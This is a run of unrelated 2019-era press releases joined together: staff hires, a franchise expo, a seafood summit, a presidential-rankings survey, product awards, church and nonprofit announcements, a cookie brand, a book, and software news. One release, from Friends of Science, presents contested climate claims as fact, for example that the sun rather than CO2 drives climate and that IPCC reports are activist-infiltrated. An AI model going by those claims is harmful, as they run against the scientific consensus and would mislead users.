For the past seven years, Lane has worked through the ranks at WSYX ABC/FOX 28 News in Columbus. Most recently, she was the stations Executive Producer in charge of Special Projects. In that role, Lane produced numerous Town Halls that aired statewide and nationally, managed both stations election coverage, and worked closely with the Investigative Unit. Prior to her years at WSYX/FOX, Lane served as Managing Editor at WCMH NBC4 News in Columbus, where she supervised the production and performance of reporters, producers, anchors and editors for five hours of daily news coverage.

As a TV professional for more than three decades, Ive seen every facet of the communications business. I know how the media works, what it takes to secure impactful coverage, and the elements necessary for compelling storytelling, explained Lane. Im excited to bring this experience to Team Fleisher, and to work with our clients to secure exceptional earned media and exceed their expectations.

Lane will be working closely with all of Team Fleishers clients, securing earned media, creating strategy and conducting crisis communication training. In addition, she will help build the firms development department and work closely with the established partnerships Team Fleisher has cultivated with various production companies, social media experts, designers, and content creators.

Hannah Laubach has also joined Team Fleisher as an associate. Laubach is expected to graduate from The Ohio State University in May 2019. For the past year, she has worked as the social media and community manager of Six-Word Memoirs, a community that celebrates the joy of storytelling with a focus on personal narrative. In that position, Laubach managed the organizations Instagram, Facebook and Twitter accounts, communicating daily with more than 30,000 combined followers. Laubach brings the skills and expertise developed in that role to her position at Team Fleisher.

It isnt often that we bring on someone that doesnt yet have decades of experience, said Fleisher, But Hannah is the exception. Shes just that good, and we are excited to offer our clients the fresh perspective, creativity and innovation she brings to social media strategies and campaigns, and PR initiatives overall.

Tweet This:

Team Fleisher builds its team, hiring TV Veteran and social media specialist. https://teamfleisher.com/about/

About Team Fleisher Communications

Team Fleisher Communications delivers outstanding communications solutions based upon decades of experience. We have a proven track record of securing results for organizations ranging from start-ups to Fortune 500 companies. As senior-level communicators and former journalists, we understand how to tell stories, pitch reporters, secure earned media and leverage coverage. We work fast and efficiently to get the job done right. And we deliver results  always. For more information visit Teamfleisher.com.The Franchise Show, presented by Allstate, is pleased to be taking place at the Meadowlands Exposition Center, February 16 & 17, 2019. The Show is the perfect venue for attendees to find their best opportunity to attain prosperity and success by taking the first step to becoming a business owner. Many entrepreneurs dream of starting their own business and every year thousands of Americans consider franchising as a way to make it happen. Visitors have the chance to speak directly with representatives from proven, successful franchises. Full-time franchises and part-time business opportunities are available in the Greater New York and New Jersey area. The show plays a critical role in helping people find the business thats right for them.

Franchising gives people the opportunity to start a business without feeling overwhelmed and alone. They have the support system of a company behind them with training, marketing and in most cases a proven brand, said Fred Cox, president, National Event Management, which produces the Franchise Show.

The event features companies that are household names such as Allstate, 7Eleven, Carvel, Little Caesars, UBreakIFix and Roy Rogers. The exhibitors at the show offer a variety of industries from traditional retail stores and restaurants to fitness, home services, education and printing. The Show is also an excellent venue to discover new franchises and business opportunities to take advantage of being involved from the early stages of growth.

The Franchise Show successfully hosts thousands of attendees across North America every year, with the hope of helping each one become their own boss. Its important to be able to meet and speak with representatives from the companies at the event because it gives you a better understanding of the culture of a company and gives you a better indication of whether or not a company complements your specific personality, says Mr. Cox. The opportunity to speak directly with representatives from the hottest franchises as well as industry experts make this event a must attend for anyone considering owning a small business or looking to grow their already established business.

The show is a significant source of information for people looking to open their own business and research franchising in depth. Visitors may attend free daily seminars given by industry experts including lawyers, financial specialists and franchise experts that have information that entrepreneurs need to know to start and grow a business. Seminar topics include: 5 Lessons I Learned in My First Year as a Small Business Owner, Important Facts and Tips Regarding Buying a Franchise, Franchise Disclosure Document Basics, How to Use your 401k to Finance Your Business Start Up, and Lifecycle of a Franchise System. For a full schedule of free seminars please visit http://www.NewYorkFranchiseShow.com.

The Franchise Show:

Dates:

Saturday, February 16 and Sunday, February 17

Time:

Saturday: 11 a.m. to 5 p.m.

Sunday: 11 a.m. to 4 p.m.

Location:

Meadowlands Expo Center

355 Plaza Drive

Secaucus, New Jersey 07094

Admission:

$10 at the door, 2 for 1 online

For more info:

http://www.newyorkfranchiseshow.com

Contact Information:



For media accreditation and more information, contact:

Lisa Spodek, Director of Marketing

1-800-891-4859 ext. 225

lspodek@nationalevent.comWHAT: The SeaWeb Seafood Summit is the worlds premier seafood sustainability conference, bringing together attendees from all facets of the seafood sustainability movement for a week of collaborative learning, networking and problem solving. The Summit is produced by Diversified Communications in partnership with SeaWeb.

Over the past 20 years, global interest in sustainable seafood products and practices has advanced dramatically, with hundreds of sustainable seafood initiatives now in operation. At the upcoming 15th edition of the Summit, stakeholders will explore the latest ideas and trends, including their future strategic, business and market implications.

This years event will be the most experiential yet, offering more offsite field trips, interactive breakout session formats and Q+A opportunities than ever before; during and after the conference.

Highlights include an all-day pre-conference seminar on Monday, 10 June; keynote address, plenary sessions and the Seafood Champion Awards on Tuesday, 11 June; off-site field trips and interactive workshops on the morning of Wednesday, 12 June; and breakout sessions including lightning-round talks on Wednesday afternoon and Thursday, 13 June. After the conference closing remarks, attendees can choose to spend an extra day (Friday, 14 June) in the field, getting a behind-the-scenes look at sustainable seafood operations in action.

WHO: Summit speakers and registered attendees include global representatives from the seafood industry, the conservation community, academia, government and the media. Full speaker list: https://www.seafoodsummit.org/speakers/

WHEN: Pre-Conference Workshop: 10 June, all day; Conference: 11-13 June; Field Trips: 12 June (morning, included with full conference pass), 14 June (all day); Full schedule: https://www.seafoodsummit.org/conference-program/

WHERE: Conference - Shangri-La Hotel, Bangkok, Thailand; Field Trips  TBA, Bangkok, Thailand

HOW:

Industry members and guests can register at https://seafoodsummit.org/reg and save $650 on a conference pass (which includes the 10 June Seminar) with early bird registration (deadline: 13 March 23:59 EST). The Field trip on 14 June requires an upgrade. More details and registration options at https://www.seafoodsummit.org/fees/

Qualified members of the press employed by accredited consumer or trade news organizations are invited to attend and cover this event, but must pre-register for a press pass at https://www.seafoodsummit.org/mediapress-registration/.

For more information about covering this event, please contact Jonathan Bass, Marketing Manager, at jbass@divcom.com or +1 207-842-5563.

About SeaWeb: SeaWeb serves the sustainable seafood community by fostering communication and networking and promoting the exchange of knowledge and ideas to help guide, inspire and reward progress towards greater seafood sustainability. SeaWeb is a project of The Ocean Foundation, a unique community foundation with a mission to support, strengthen and promote organizations dedicated to reversing the trend of destruction of ocean environments around the world. SeaWeb produces the SeaWeb Seafood Summit in partnership with Diversified Communications. For more information, visit: http://www.seaweb.org.

About Diversified Communications: Diversified Communications is a leading international media company with a portfolio of face-to-face exhibitions and conferences, online communities and digital and print publications. As producers of these market-leading products Diversified Communications connects, educates and strengthens business communities in over 14 industries including: food and beverage, healthcare, natural and organic, business management and technology. The companys global seafood portfolio of expositions and media includes Seafood Expo North America/Seafood Processing North America, Seafood Expo Global/Seafood Processing Global, Seafood Expo Asia and SeafoodSource.com. Diversified Communications, in partnership with SeaWeb, also produces SeaWeb Seafood Summit, the worlds premier seafood conference on sustainability. Established in 1949 and headquartered in Portland, Maine, USA with divisions and offices around the world, Diversified Communications remains a privately held, third generation, family-owned business. For more information, visit: http://www.divcom.com.SCRI Logo The top five, Mount Rushmore plus FDR, is carved in granite with presidential historians who have ranked the presidents for Siena six times since 1982 always just after a new president has had one year in office.

For the sixth time since its inception in 1982, the Siena College Research Institutes (SCRI) Survey of U.S. Presidents finds that experts rank Franklin D. Roosevelt, Teddy Roosevelt, Abe Lincoln, Thomas Jefferson and George Washington as the United States top five chief executives. The 157 participating presidential scholars for the first time name Washington as number one with FDR second, Lincoln third, Teddy Roosevelt fourth and Jefferson fifth. Donald Trump enters the survey as the 42nd rated president, and he joins Andrew Johnson, James Buchanan, Warren Harding and Franklin Pierce in the bottom five. Dwight Eisenhower moved up to sixth, the highest ranking he has ever achieved, while Ronald Reagan was up five spots to 13th, and George W. Bush was up six places but remains in 33rd place. Barack Obama slipped two spots to 17th, Bill Clinton dropped to 15th from 13th, and Andrew Jackson fell five places to 19th.

The top five, Mount Rushmore plus FDR, is carved in granite with presidential historians who have ranked the presidents for Siena six times since 1982 always just after a new president has had one year in office. But five through ten has seen some jockeying for position over the last 37 years. Eisenhower wasnt even in the top ten in 82 or 90, but after one eighth place and two times at tenth, Ike has jumped to the sixth spot just out of the vaunted top five. And JFK has rejoined the top ten after two misses while Woodrow Wilson has dropped from eighth to 11th, according to Don Levy, SCRIs director.

While other moderns are highly rated, including Truman at ninth this year and six straight times in the top ten and Kennedy, tenth this year and back in the top ten after narrowly missing in the last two surveys, no president that has served since Kennedy is considered one of our ten best, according to Doug Lonnstrom, SCRIs founding director and one of the surveys originators.

The serving president has entered the survey between 15th , Obama, and 23rd , G.W. Bush, as scholars begin to observe their accomplishments, assess their abilities and study their attributes. This year, Donald Trump enters the survey at 42nd , and he is only ranked outside of the bottom five in two of the twenty categories that scholars use to assess the presidents, luck and willingness to take risks, said Levy.

Scholars rate presidents on each of twenty categories that include attributes  background, imagination, integrity, intelligence, luck and willingness to take risks, abilities  compromising, executive ability, leadership, communication, and overall ability and accomplishments  party leadership, relationship with Congress, court appointments, handling the economy, executive appointments, domestic accomplishments, foreign policy accomplishments and avoiding mistakes. Theodore Roosevelt is rated highest on attributes, Lincoln tops the list on abilities and Washington leads on accomplishments.

Scholars were asked which of all the presidents they wish could be in office today to address each of seven current issues. Obama was selected three times for addressing health care in the U.S., ensuring that American values are afforded to all Americans regardless of their race, ethnicity or socio-economic position and, tied with FDR, for developing a shared vision of Americas role in the next century. Eisenhower was the top pick for resolving the crisis with North Korea and combatting the threat of global terrorism. Bill Clinton was the choice for promoting sustainable growth in the American economy and Washington was top rated on enhancing trust in the federal government.

The scholars that responded to the survey said that of all 44 presidents*, Franklin D. Roosevelt had the best first year in office followed by Washington and Lyndon Johnson. Donald Trump is named as the president whose first year in office was the worst followed by Andrew Johnson and George W. Bush.

The survey also added a series of questions that asked scholars to say whether the presidents of the last fifty years  Richard Nixon (ranked 29th), Gerald Ford (27th), Jimmy Carter (26th), Reagan, George.H.W. Bush (21st), Bill Clinton (15th), G.W. Bush, Obama and Trump will ultimately be judged by history as moving the country in the right direction or on the wrong track on foreign affairs, the domestic economy, human rights, and the quality of our democracy. Both Clinton and Obama were seen by respondents as strongly moving the country on the right track on all four. Ford, Carter and G.H.W. Bush moved the country on the right track on each except the domestic economy. Reagan moved the country on the right track on two of four  foreign affairs and the quality of our democracy while Nixon moved the country forward on only foreign affairs. Historians say that neither G.W. Bush nor Trump moved the country on the right track on any of the four aspects of leading the country.

The perfect president? Scholars agree that Washington today is ranked first and encourages trust in the federal government. FDR is close, ranked second and remembered for his first year. Lincoln may have had the greatest skills, Teddy Roosevelt, the right stuff, and Eisenhower today is the leader many would like addressing international trouble spots. Jefferson, Madison, Monroe remain profoundly respected and among the moderns, Reagan, Clinton and Obama are highly regarded. While Trump has entered the rankings near the bottom, despite his initial low scores, it is early in his presidency and history not these historians will determine his ultimate place among American presidents, said Levy.

The Siena College Research Institute (SCRI) Survey of U.S. Presidents is based on responses from 157 presidential scholars, historians and political scientists that responded via mail or web to an invitation to participate. Respondents ranked each of 44 presidents on a scale of 1 (poor) to 5 (excellent) on each of twenty presidential attributes, abilities and accomplishments. Overall rankings were computed by assigning equal weight to each of those twenty categories. For additional information about the survey visit http://www.siena.edu/sri/research or contact Don Levy at 518-783-2901, dlevy(at)siena.edu or Doug Lonnstrom at 518-783-2362.SavATree honors arborists with over one million in sales. The larger we grow, the more vital it is to ensure that each arborist recognizes what an important role they play in the future of SavATree.

After a year of large acquisitions across Georgia, Pennsylvania, Michigan, and Arizona, SavATree recently hosted its largest sales conference to date at the HNA Palisades Premier Conference Center in Palisades, NY, with 225 arborists in attendance from 34 branches. SavATree is a rapidly expanding industry leader in tree, shrub, and lawn care.

Throughout the 4-day conference, SavATree arborists heard from 24 speakers on subjects that ranged from tree structure and organic lawn care to sales strategies and increasing Google reviews.

Cynthia Mills, President and CEO of The Tree Care Industry Association from 1999 to 2009 and current author and leadership expert, gave the keynote address.

Among the general session speakers were Dr. Ed Gilman, Professor Emeritus of the University of Floridas Environmental Horticulture Department; Richard Buckley, the Director of the Plant Diagnostic Lab at Rutgers University; Dr. Nicholas Brazee, University of Massachusetts Extension Plant Pathologist; and Ed Carpenter, President of North American Training Solutions and safety expert.

The larger we grow, the more vital it is to ensure that each arborist recognizes what an important role they play in the future of SavATree, said Luann OBrien, Chief Marketing Officer. Gathering everyone together for a week of education and team building is a great chance to set us up for success in 2019.

About SavATree

SavATree, the green choice for tree, shrub and lawn care, provides environmentally sensible services to residential, commercial, community and government properties in the Northeast, Mid-Atlantic, Southeast, Midwest and Western regions. Property stewardship programs feature organic and hybrid plant health care, general tree care and lawn careall highly customized to meet the needs of each landscape and steward. Services include tree and shrub pruning, insect and disease management, deer deterrence, and lawn care, as well as tree and shrub nutrient/fertilization programs. Learn more at http://www.savatree.com.

"We are committed to pushing innovation in the connected home category while also maintaining a great user experience for our customers" - Nitish Singh, vice president of product and marketing, Rheem.

IoT Breakthrough, an independent organization that recognizes the top companies, technologies and products in the global Internet-of-Things (IoT) market, today announced Rheems EcoNet Smart Thermostat, the latest innovation in the companys EcoNet enabled product line, as the winner of the Smart Heating and Cooling Product of the Year award in the global 2019 IoT Breakthrough Awards program.

The mission of the IoT Breakthrough Awards program is to recognize innovators, leaders and visionaries from around the globe in a range of IoT categories, including, Connected Home and Home Automation, Industrial and Enterprise IoT, Smart City technology, Connected Car, and many more. This years program attracted more than 3,500 nominations from companies all over the world.

While the smart home category has experienced another banner year of growth and innovation overall, industry innovation among smart thermostat solutions specifically has been mostly stagnant, said James Johnson, managing director at IoT Breakthrough. Rheem bucked this trend, delivering a break through solution with their EcoNet Smart Thermostat that uniquely integrates and optimizes the performance of smart air and smart water systems on a single interface. We are thrilled to see Rheems innovation and success in the smart home category, and we congratulate them on their 2019 IoT Breakthrough Award.

We are committed to pushing innovation in the connected home category while also maintaining a great user experience for our customers, said Nitish Singh, vice president of product and marketing, Rheem. Our EcoNet Smart Thermostat and the entire EcoNet line-up delivers on that commitment, and we are proud to receive this industry recognition and 2019 IoT Breakthrough Award designation.

The EcoNet Smart Thermostat uses advanced sensor technology to actively monitor integrated Rheem smart heating, cooling and water heating equipment. It delivers both routine maintenance notifications, such as filter replacement reminders, as well as critical service alerts (with diagnostic details to expedite repairs) when the equipment requires attention.

The ultra-thin programmable thermostat has a full-color glass capacitive touchscreen and is equipped with modern features homeowners expect: local weather, one-touch away mode, motion activation and third-party integrations, including voice control with Amazon Alexa.

The EcoNet Smart Thermostat was purposefully designed to streamline installation, set-up, and service for contractors and plumbers: the integrated bubble level and tool-free wire terminals make wall mounting and wiring easier than ever; the thermostat automatically detects all connected equipment and configures itself to optimize system performance; simple system initialization shortens the commissioning process, and detailed diagnostics from service alerts improve service call efficiency.

About IoT Breakthrough

IoT Breakthrough, part of the Tech Breakthrough Awards organization, is devoted to honoring excellence in Internet-of-Things technologies, services, companies and products. The IoT Breakthrough Awards program provides a forum for public recognition around the achievements of IoT companies and products in categories including Connected Home and Home Automation, Connected Car, Industrial IoT (IIoT) and Smart City, Consumer IoT and more. For more information visit IoTBreakthrough.com.

About Rheem

Founded in 1925, Rheem innovates all-new ways to deliver just the right temperature while saving energy, water and supporting a more sustainable future. Today, Rheems products are available in more than 50 countries. PalomaCo., Ltd.  of Nagoya, Japan, acquired the iconic Rheem brand in 1988, and today the companys portfolio of premium brands include Rheem, Raypak, Ruud, Eemax, Richmond, Splendid, Solahart and EverHot as well as commercial refrigeration brands Russell, Witt, ColdZoneand Kramer, which are part of the Heat Transfer Products Group (HTPG) division.I invite all congregations to devote a Sunday in Lent to reflect on the life-giving work of Episcopal Relief & Development and to demonstrate Gods love by giving meaningfully to this vital ministry, said Presiding Bishop Curry.

The Most Rev. Michael B. Curry, Presiding Bishop and Primate of the Episcopal Church, invites all Episcopalians to join together in observance of Episcopal Relief & Development Sunday on March 10, 2019.

As we follow in the footsteps of Jesus this Lent, we know that living out Gods love for the world is our ultimate goal, said Presiding Bishop Curry. I invite all congregations to devote a Sunday in Lent to reflect on the life-giving work of Episcopal Relief & Development and to demonstrate Gods love by giving meaningfully to this vital ministry.

At the 2009 General Convention, Lent was officially designated as a time for dioceses, congregations, and individuals to remember and support the life-saving work of Episcopal Relief & Development. Although the first Sunday in Lent is the official day of observance, churches may hold a special service on any Sunday. For additional information and to download a planning guide, visit http://www.episcopalrelief.org/Sunday.

This year, Episcopal Relief & Development celebrates 15 years of Lenten Meditations with inspiring selections from previous years. These booklets and other resources including hope chests, pew envelopes, bulletin inserts and special prayers are available at http://www.episcopalrelief.org/Lent. Supporters are encouraged to sign up for daily email meditations in English and Spanish.

To have printed copies of the Lenten Meditations in English or Spanish by Ash Wednesday, March 6, Forward Movement must receive orders by Tuesday, February 19. Orders may be placed by visiting http://www.forwardmovement.org or calling 1.800.543.1813.

There is no greater support for the work of Episcopal Relief & Development than when faithful people remember our partners, program participants and staff in their prayers, said Rob Radtke, President & CEO, Episcopal Relief & Development. We are thankful for all the congregations and individuals who choose to join us in observing Episcopal Relief & Development Sunday this March 10.

For over 75 years, Episcopal Relief & Development has been working together with supporters and partners for lasting change around the world. Each year the organization facilitates healthier, more fulfilling lives for more than 3 million people struggling with hunger, poverty, disaster and disease. Inspired by Jesus words in Matthew 25, Episcopal Relief & Development leverages the expertise and resources of Anglican and other partners to deliver measurable and sustainable change in three signature program areas: Women, Children and Climate.Power to Decide, the campaign to prevent unplanned pregnancy, will bestow the 2018 Sarah S. Brown Award to Andrea Kane and the 2019 Sarah S. Brown Award to Democracy Forward, Planned Parenthood Federation of America and Public Citizen Litigation Group. Andrea Kane has dedicated her career to leading efforts to support women, children and families. The 2019 honorees successfully protected the Teen Pregnancy Prevention (TPP) Program, preventing the Trump administration from circumventing Congress and abolishing the TPP program.

The award is named after Sarah S. Brown, the founding CEO of Power to Decide, and was established to recognize innovative leaders who have been strong, smart and bold in making significant contributions to the mission of Power to Decide.

We are proud to honor these three organizations that worked tirelessly to protect and defend the TPP Program with the 2019 Sarah S. Brown Award, said Ginny Ehrlich, CEO, Power to Decide. These legal groups have demonstrated tremendous courage and unwavering commitment in fighting against actions that would have adversely impacted the most vulnerable among us. By not backing down, they stood squarely on the side of science and successfully defeated an effort that would have reversed the progress we have made in reducing unplanned pregnancies.

Democracy Forward is proud to stand with all of the communities, advocates and legal teams committed to defending the TPP program, said Democracy Forward Executive Director Anne Harkavy. We are honored to receive this recognition and we will keep fighting to protect these critical programs against unlawful attacks.

Planned Parenthood is proud to celebrate the incredible work of our Public Policy Litigation & Law team as an honoree of Power to Decides 2019 Sarah S. Brown Award for their work to protect the TPP program, said Dr. Leana Wen, President of Planned Parenthood Federation of America. Because of the best in class work from our litigation team and allies, including the partnership with our friends at Arnold & Porter, millions of young people across the country will not be left with a critical gap in health education. As the nations largest provider of sex education, Planned Parenthood looks forward to continuing to provide, protect and expand evidence-based, comprehensive sexual and reproductive health education.

Public Citizen appreciates this recognition of our work to restore TPP program funding to 66 grantees, after the administrationfor ideological reasons unsupported by facts or the lawtried to terminate these important programs, said Allison Zieve, Director, Public Citizen Litigation Group.

Since peaking in 1991, the teen birth rate has declined 70 percent, as a result, in part, of bipartisan policies and programs, such as the TPP program. The program provides high-quality, evidenced-based sexual health information to young people most in need. Yet, despite its proven success, the administration tried to abolish the TPP program by cutting short all of its existing grants. In response, the awardee organizations joined efforts and filed suits against the U.S. Department of Health and Human Services to challenge the administrations actions. Specifically, 11 lawsuits were filed by these groups against the shortening of grants, including one class action suit. The plaintiffs won all 11 lawsuits and the government has since dropped its appeals in all the cases.

Andrea Kane currently serves as the Vice President for Policy and Strategic Partnerships at Power to Decide. The award recognizes Kanes distinguished career and her on-going work on behalf of women, young people and families. Kane has successfully identified systems gaps among vulnerable populations, such as youth in foster care and community college students and helped to initiate innovative policy and programmatic efforts, which specifically met the needs of these populations. In addition, Kane played a key role in maintaining support for the TPP program.

Andrea is a fearless and bold advocate who has made a difference in the lives of millions of youth and families throughout her distinguished career. It gives me great pleasure to recognize our esteemed colleague and friend Andrea Kane with the 2018 Sarah S. Brown Award. During her distinguished and ongoing career, Andrea has been a leading force in bringing forth smart and innovative policies that help to ensure all young people have the power to decide, if, when and under what circumstances to get pregnant and have a child, Ehrlich said.

From 2001 through 2008, Kane was a visiting fellow with the Brookings Institutions Center on Children and Families. Before joining Power to Decide in 2001, Kane served at the White House Domestic Policy Council as a special assistant to President Clinton and worked at the National Governors Association and at the state and local level in California, Texas and Virginia.

Power to Decide is a private, non-partisan, non-profit organization that works to ensure all peopleno matter who they are, where they live, or what their economic status might behave the power to decide if, when, and under what circumstances to get pregnant and have a child. Please visit us at http://www.PowerToDecide.org or follow us on Facebook and Twitter."Carbon dioxide is not a control knob that can fine tune climate" - Judith Curry, Atmospheric Scientist, Georgia Tech ...some $6.8 billion in foreign funding to Canadian ENGOs has been used to push the carbon tax and climate apocalypse agenda Past News Releases RSS

A monumental carbon tax court case kicks off in the Saskatchewan Court of Appeal this week (Docket: CACV3239) as the Saskatchewan Party challenges the Canadian federal government on its carbon tax legislation, as reported by Global News, Feb. 10, 2019. This coincides with the release of a new report by Friends of Science Society entitled Big Green Money vs Conventional Energy Advocates.

The new report is critical of the big green foreign-funding of environmental groups, many of which, like Ecojustice, a law charity representing intervenors in the carbon tax case, engage in law-fare to block energy development and push for carbon taxes.

Big Green Money report shows that common sense think tanks are vastly out-funded, out-lobbied and out-maneuvered by green billionaire foundations and their Environmental Non-governmental Organization (ENGO) fundees.

Robert Lyman authored the report which states that some $6.8 billion in foreign funding and revenues has accrued to the 18 largest Canadian ENGOs, since 2000, and has been used to push the carbon tax and climate apocalypse agenda. Lyman is an Ottawa energy policy consultant and former public servant of 27 years, a diplomat for 10 years prior to that.

Most of the ENGOs reviewed in Big Green Money have federal charitable status, thus subsidized by taxpayers. As reported by Global News, Aug. 30, 2018, one such charity, Ecojustice, successfully blocked Trans Mountain pipeline in the Federal Court of Appeals, resulting in the further loss of thousands of jobs in Albertas oil sands industry and other sectors.

As noted in the report, the National Energy Board publishes annual data on total investment (i.e. domestic and foreign) in the upstream Canadian oil industry. Investment in oil sands was $13.6 billion, down 60% from the peak level of annual investment of $33.4 billion in 2014.

Friends of Science says a carbon tax is irrelevant to climate change issues as more and more research demonstrates that carbon dioxide is not the control knob that can fine tune climate. They say the UN Climate Panel (IPCC) reports relied upon by proponents of the tax are based on Faulty Premises, as detailed in their Oct. 30, 2018 report by the same name.

As revealed by Donna Laframboise in her book The Delinquent Teenager, UN Climate Panel reports are heavily infiltrated by green activists from Greenpeace and WWF, whose organizations have been funded for millions of dollars by the billionaire ClimateWorks Foundation and partners who are pushing a global cap and trade system, as reported by Matthew Nisbet (2018) in Strategic philanthropy in the postCapandTrade years: Reviewing U.S. climate and energy foundation funding.

Friends of Science Society says a global carbon tax would be a road to ruin.

Another recent Friends of Science report issued Feb. 5, 2019, entitled Carbon Pricing Consequences for Alberta reveals a trail of destruction following the implementation of the provincial carbon tax.

Human industrial carbon dioxide emissions have greened the planet according to an April 26, 2016, NASA report. Growing climate science consensus shows carbon dioxides impact on warming to be nominal says French Emeritus Professor of physics, Francois Gervais.

About

Friends of Science Society is an independent group of earth, atmospheric and solar scientists, engineers, and citizens who are celebrating its 16th year of offering climate science insights. After a thorough review of a broad spectrum of literature on climate change, Friends of Science Society has concluded that the sun is the main driver of climate change, not carbon dioxide (CO2).

Friends of Science Society

P.O. Box 23167, Mission P.O.

Calgary, Alberta

Canada T2S 3B1

Toll-free Telephone: 1-888-789-9597

Web: friendsofscience.org

E-mail: contact(at)friendsofscience(dot)org

Web: climatechange101.caWhen it comes to self-made success stories, Melissa Blue and Melissa Mehall of Melis Monster Cookies are the mompreneurs to watch in 2019. These hard-working moms -- each with three kids under the age of 14 -- established a craveable cookie brand that hit 4,000 Walmart shelves nationwide in February with easy-to-make dry mixes.

"Melissa and I are thrilled to have our cookies nationwide! Our initial dream was to make Meli's available to everyone and we are so excited to see that vision come to fruition," said Blue.

"The road to retail shelf placement is not easy and takes a lot of hard work and tenacity. The biggest blessing has been and continues to be working with my best friend."

Friends for over 30 years, the Melissas cookie business started with a family recipe passed down from Blue's mother-in-law that has been enjoyed and loved for over 40 years.

The aha moment was triggered when a close family member developed a gluten intolerance. While baking monster cookies, it dawned on the Melis that this delicious cookie was naturally gluten-free which was the catalyst to share Melis Monster Cookies with the world.

Skipping out on the flour but not the flavor, Melis Monster Cookies are gluten-free and dont contain any gluten substitutes like other bland gluten-free cookies. What you will taste is a delicious, moist and chewy cookie you wont believe came out of your oven instead of a bakery.

Easy to make in four steps, each mix bakes approximately sixteen delicious cookies within twelve minutes. The first two ingredients are certified gluten-free rolled oats and peanut butter instead of flour and sugar, so Melis cookies are higher in fiber and protein while satisfying your sweet tooth. "We can say with confidence, its the best cookie you will ever eat and oh, by the way, it's gluten-free, said Mehall.

The Dry Mixes come in three varieties:

Original: Gluten-free rolled oats, natural crunchy peanut butter, natural chocolate chips, plain and peanut butter M&Ms

Cashewlicious: Gluten-free rolled oats, natural crunchy cashew butter, natural dark chocolate chips, and dried cherries

Choco-LOT: Gluten-free rolled oats, natural chocolate chunks, natural white chocolate chips, natural peanut butter.

What's next for these powerhouse moms?

"As we are rolling out our brand to retailers nationally, we are so excited to put our heart into doing something new to recognize all those awesome moms that are working so hard to achieve that balance," said Mehall. "So coming soon we are going to be featuring the Monster Moms Club (moms out there doing so much and rocking it) we want to recognize all of them. So keep your eyes out for Meil's Monster Moms Club! We are going to a special surprise to recognize them around Mothers Day!"

About the Melis: Friends for over 30 years, Melissa Blue and Melissa Mehall grew up in Waco, Texas together. They both now live in Central Texas and love working together on Melis Monster Cookies. Blue is a former gemologist and owner of Blue Diamonds for 5 years. Mehall is a former transactional attorney.

Meli's are available nationwide including Walmart, HEB & Meijer, and Jewel-Osco.WHEN HE WALKS AWAY: Hearing God When Your Husband Leaves Your Marriage: a welcome respite for the abandoned, is the creation of published author Mary A. Bryant, a mother of four young adults from Charlotte, North Carolina. She is a passionate believer in Gods divine healing based on firsthand experience.

Bryant writes, Despite the difficulties that come with every marriage, when a spouse leaves and walks away, abandoning all hope of reconciliation, the one left behind must overcome a myriad of heartaches and obstacles. Navigating these waters can leave one feeling overwhelmed with issues and in dire need of direction and healing. When there are children involved, the transition to recovery is even harder.

After being married for twenty-eight years, Mary Bryant found herself adrift, praying desperately for a buoy to cling to while she collected the remnants of her life and family. She found herself at the most broken place she could have ever imagined.

Shortly after her husband left her and their four young-adult children, she was in her kitchen calling out to God, desperate for an answer and someplace to put the fractured pieces of her life so that she could begin healing. It was there that she felt God impress upon her, Writeyour healing is there.

For the next eighteen months, Mary wrote what you will find here, a most personal and inspirational message of what she believes is Gods message for anyone who finds their life in the pit of despair. With Gods guidance, she learned to put one foot in front of the other and began to live again. Its a transformation from brokenness to one of hope and certainty that all things work together for our good when we trust God to lead us.

Published by Christian Faith Publishing, Mary A. Bryants new book is a balm for wounded spirits, encouraging the survivor on their journey back to wholeness.

Whether the reader is looking for reconciliation with their estranged spouse or simply desires to trust God for the difficult season ahead, Bryants compassionate book is a must-read.

View a synopsis of WHEN HE WALKS AWAY: Hearing God When Your Husband Leaves Your Marriage on YouTube.

Consumers can purchaseWHEN HE WALKS AWAY: Hearing God When Your Husband Leaves Your Marriage at traditional brick & mortar bookstores, or online at Amazon.com, Apple iTunes store, or Barnes and Noble.

For additional information or inquiries about WHEN HE WALKS AWAY: Hearing God When Your Husband Leaves Your Marriage, contact the Christian Faith Publishing media department at 866-554-0919.

Eldermark Software, the leading operational technology solutions provider to the senior care industry, is pleased to announce that Mark Anderson, Eldermark Senior Vice President, has been selected by the American Health Care Association to serve as a 2019 Senior Examiner for the AHCA/NCAL National Quality Award Program.

The award program provides a pathway for providers of LTPAC services to journey toward performance excellence. It is based on the core values and criteria of the Baldridge Performance Excellence Program. Member facilities may apply for three progressive levels of awards:



Bronze Award  Commitment to Quality

Silver Award  Achievement in Quality

Gold Award  Excellence in Quality

I am honored and thrilled to be a part of AHCAs award program, reported Anderson, And, I am eager to take on the work of recognizing the amazing achievements in quality care, services, and programs within our long-term care settings, bringing into the bright light what our caregiving organizations are accomplishing in service to their customers.

Anderson serves Eldermark clients in leading the professional services division, providing consulting and business analyst services. He is passionate about his work, having served in senior living operations for 25 years before joining Eldermarks senior management in 2012. Not new to programs recognizing quality and achievement, Anderson served as Chair of the Awards Committee for Care Providers of Minnesota, an AHCA/NCAL state-affiliate member organization, for 5 years, and, served on the Care Providers Board of Directors. A significant portion of his current role with Eldermark is assisting their client customers in optimizing their operational success through applied technology solutions.

###

About Eldermark Software: Since 1988, Eldermark is the only company that has been building software products designed specifically to meet the needs of the senior care industry. Its fully integrated platform and 24/7 customer care enables customers to focus on providing residents superior care and on improving their living experience. Eldermark currently serves over 2,500 senior living communities across the United States and in Canada with a customer retention rate of over 98%.Lexalytics Intelligence Platform Were seeing a lot of demand from analytics teams within enterprises for a full text analytics stack, not only in the public cloud, but also in on-prem and hybrid environments.

Lexalytics, the leader in words-first machine learning and artificial intelligence, announced today that its entire text analytics and natural language processing (NLP) product suite is available for deployment in any computing environmenton-premises; private, public or hybrid cloud; or individual workstation. Previously, the only on-premises option from Lexalytics was its core Salience text analytics libraries, which are integrated into existing customer or BI applications. Now, Semantria, the companys text analytics RESTful API, as well as Lexalytics Intelligence Platform, a complete application for gathering, processing, modeling, analyzing and visualizing relevant information extracted from unstructured text, can also be deployed on-premises, in addition to a public or private-public cloud hybrid configuration.

While the majority of text analytics providers offer only a public cloud option, enterprise customers often require on-site, behind-the-firewall deployments for a variety of reasons, including more customizability, higher levels of security, lower levels of latency and when processing very high volumes of text data. Lexalytics has seen its on-premises business grow at twice the rate of its public cloud offering. Industry analyst firm IDC recently reported that spending on private cloud IT infrastructure would grow at approximately 23.3 percent year over year in 2018 and spending on non-cloud IT infrastructure would represent 52.6 percent of the market.

